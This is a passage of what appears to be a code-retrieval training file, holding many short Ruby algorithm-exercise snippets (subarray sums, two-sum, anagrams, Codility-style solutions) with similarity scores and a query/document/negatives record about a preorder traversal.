findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def find3(a, X)\n # scan through array\n # build hash storing complement in each key\n complements = {}\n a.each_with_index do |val, ind|\n if complements[X - val]\n complements[X - val].push(ind)\n else\n complements[X - val] = [ind]\n end\n end\n\n # scan through the array again\n # get complement\n # for each value scan the remainder of the arrray\n # for a value such taht a + b = the complement\n\n # for each character we have built a dictionary such that, we can find\n # x = a + complement\n\n # [1, 2, 3]\n # 1 + 2 = 3\n # 1 + 3 = 4 =>\n\n # for each value in the array (a) look at all following values (b) and see if a + b\n # is in the dictionary, if it is, check that their indices do not collide with the index\n # stored at dict(a+b)\n\n a.each_with_index do |va, i|\n a.each_with_index do |vb, j|\n break if i == j\n\n complement = va + vb\n indices = complements[complement]\n\n indices.each do |z|\n # every index is unique\n return [i, j, z] unless z == i || z == j\n end\n end\n end\n\n return nil\nend", "def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend", "def solution(a)\n a.uniq.count\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend", "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def lAS(n: 0)\n array = [1]\n puts \"#{array.inspect}\"\n previous = array.first\n new_array = []\n counter = 0\n \n n.times do\n previous = array.first\n counter = 0\n new_array = []\n \n array.each do |element|\n if(element == previous)\n counter = counter + 1\n else\n new_array << counter\n new_array << previous\n counter = 1\n previous = element\n end\n end\n \n new_array << counter\n new_array << previous\n array = new_array.dup\n puts \"#{array.inspect}\"\n end\nend", "def sub_sum_better(list)\n largest_sum = list.first\n\n #iterate over once.\n # as you iterate keep a tally of the sum.\n # indexing into an array is O(1)\n # [2, 3, -6, 7, -6, 7]\n\n sub_sum = 0\n list.each do |el|\n sub_sum += el\n largest_sum = sub_sum if sub_sum > largest_sum\n\n sub_sum = 0 if sub_sum < 0\n end\n\n largest_sum\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def my_min1(arr)\n arr.each do |el1| #O(n)\n if arr.all? {|el2| el1 <= el2 } #O(n + 1)\n return el1\n end\n end \nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend", "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end", "def largest_contiguous_subsum_2(list)\n largest_sum = 0\n current_sum = 0\n\n list.each do |el|\n largest_sum = current_sum \n current_sum += el \n if current_sum < el \n current_sum = el \n end \n largest_sum = current_sum if largest_sum < current_sum\n end\n\n largest_sum\nend", "def solution(a)\n # write your code in Ruby 2.2\n seen = {}\n\n a.each do |number|\n seen[number] = true\n end\n\n max = a.max\n\n for i in 1..(max + 1)\n return i unless seen[i]\n end\n\n 1\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "def two_sum?(arr, target)\r\n hash = {}\r\n arr.each_with_index do |ele, i| #n\r\n hash[i] = ele\r\n end\r\n arr.each_with_index do |ele, i| #n \r\n value = target - ele\r\n if hash.has_value?(value) && hash.key(value) != i\r\n return true\r\n end\r\n # all the keys in has except i\r\n # if any of the value = value\r\n end\r\n false\r\nend", "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend", "def my_min(arr) # Find\n min = arr[0]\n\n arr.each do |el| # Go through array once O(n)\n min = el if el < min # update min while going through if found min\n end\n min\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def arrayManipulation(n, queries)\n nums = Array.new(n+1, 0)\n queries.each do |query|\n nums[query[0]-1] += query[2]\n nums[query[1]] -= query[2]\n end\n\n max = nums.first\n (1..nums.length-1).each do |i|\n nums[i] += nums[i - 1]\n max = nums[i] if nums[i] > max && i < (nums.size - 1)\n end\n\n max\nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def find_it(seq)\n uniqueInts=seq.uniq\n\n uniqueInts.each do |value|\n k=0\n seq.each do |mainSeq|\n k+=1 if mainSeq==value\n end\n return value if k%2==1\n end\nend", "def largest_contiguous_subsum(list)\n new_arr = []\n\n (0...list.length).each do |idx1| #O(n)\n (0...list.length).each do |idx2| #O(n)\n if idx2 >= idx1 #O(1)\n new_arr << list[idx1..idx2].sum #O(1)\n end \n end \n \n end \n \n return new_arr.max #O(n)\nend", "def unique_items(arr) #O(n)\n hash = Hash.new(0)\n results = []\n arr.each do |el|\n hash[el] += 1\n end\n hash.select { |k, v| k if v == 1 }.keys\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend", "def two_sum(nums, target)\n table = {}\n i = 0\n while i < nums.length\n table[target - nums[i]] = i\n i += 1\n end\n \n j = 0\n while j < nums.length\n if table.key?(nums[j]) && j != table[nums[j]]\n return [j, table[nums[j]]] \n end\n j += 1\n end\nend", "def josephus_survivor(n,k)\n arr = (1..n).to_a\n\n while arr.length > 1\n idx = k % arr.length\n\n if arr.length > k\n arr = arr.drop(k) + arr.take(k - 1)\n elsif arr.length == k \n arr = arr[0...-1]\n else\n arr = arr.drop(idx) + arr.take(idx - 1)\n end\n end\n \n arr[0]\nend", "def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)#O(1)\n beginning_time = Time.now\n str1.each_char {|char| hash1[char]+=1}#O(n)\n str2.each_char {|char| hash1[char]-=1}#O(n)\n hash1.all? {|_, v| v.zero?}#O(n)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def largest_contiguous_subsum(list) # O(n^2)\n array = []\n list.each_with_index do |ele1, i1| # O(n^2)\n (i1...list.length).each do |i2|\n array << list[i1..i2]\n end\n end\n\n max_sum = array.first.sum\n array[1..-1].each do |subarr| # O(n^2)\n sum = subarr.sum\n if sum > max_sum\n max_sum = sum\n end\n end\n\n max_sum\n\nend", "def slow_solution(a)\n m = 0\n a.size.times do |i|\n a[i] = a[i].abs\n m = [a[i], m].max\n end\n maxsum = a.sum # sum of absolute val of all nums in array\n # maxsum = a.map(&:abs).sum <- Ruby shortcut\n\n # If dp = 1 at an index, it means some combo of elements in a add up to that index\n dp = [0] * (maxsum + 1)\n dp[0] = 1\n\n a.size.times do |j|\n maxsum.downto(0).each do |possible_sum|\n puts \"a[j]: #{a[j]}, possible sum: #{possible_sum}\"\n if (dp[possible_sum] == 1) and (possible_sum + a[j] <= maxsum)\n\n # if possible_sum + new element a[j] is possible sum, dp = 1!\n dp[possible_sum + a[j]] = 1\n puts \"Mark #{possible_sum + a[j]} as possible sum in dp\"\n end\n end\n puts \"row: #{j}, a[j]: #{a[j]}, dp: #{dp}\"\n puts\n end\n\n min_q_minus_p = maxsum\n\n # Divide array a into 2 parts, where P = sum of part 1 and Q = sum of part 2,\n # P + Q = maxsum, and P <= maxsum / 2 <= Q.\n # We want largest possible P to get smallest possible Q-P.\n\n # loop from 0 to maxsum / 2, covering every possible P, Q division\n (maxsum / 2 + 1).times do |possible_half_sum|\n # puts \"possible_half_sum: #{possible_half_sum}\"\n if dp[possible_half_sum] == 1 # means P or Q = possible_half_sum\n q_minus_p = maxsum - 2 * possible_half_sum\n # puts \"Q - P: #{q_minus_p}\"\n min_q_minus_p = [min_q_minus_p, q_minus_p].min\n # puts \"min Q - P: #{min_q_minus_p}\"\n end\n end\n\n min_q_minus_p\nend" ]
[ "0.6914348", "0.6609048", "0.6416534", "0.63194925", "0.62016535", "0.61871785", "0.60697335", "0.6059072", "0.6053246", "0.6047552", "0.6037029", "0.5990324", "0.5985229", "0.5983502", "0.59483737", "0.5907289", "0.58986485", "0.5894127", "0.589302", "0.5891029", "0.5862035", "0.58598244", "0.5858714", "0.5855247", "0.5843146", "0.58418566", "0.58414876", "0.5833874", "0.5817489", "0.5815855", "0.5806325", "0.580488", "0.5772253", "0.5772051", "0.57717395", "0.5765617", "0.57646245", "0.57498574", "0.5738152", "0.5717594", "0.5713044", "0.57074326", "0.5705395", "0.5694224", "0.56867945", "0.5683187", "0.5679512", "0.5672323", "0.5669691", "0.56692356", "0.56663734", "0.56610006", "0.5658108", "0.565659", "0.56565076", "0.56472635", "0.56471044", "0.5646928", "0.564319", "0.5639335", "0.5632905", "0.5631649", "0.56315875", "0.5626763", "0.5620871", "0.5610765", "0.56105435", "0.56097084", "0.5607952", "0.5605864", "0.5603876", "0.5602009", "0.559539", "0.5590729", "0.55905277", "0.5582398", "0.5571507", "0.55680686", "0.5566327", "0.55646074", "0.5564035", "0.55635667", "0.555963", "0.5559094", "0.5558474", "0.55533934", "0.5552461", "0.5547638", "0.55440915", "0.55439085", "0.5540858", "0.55365527", "0.5531126", "0.55287385", "0.55236286", "0.55215394", "0.55211776", "0.5519715", "0.5519587", "0.55128413", "0.5511962" ]
0.0
-1
Time Complexity: O(n) Space Complexity: O(n)
def preorder return preorder_helper(@root, []) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def 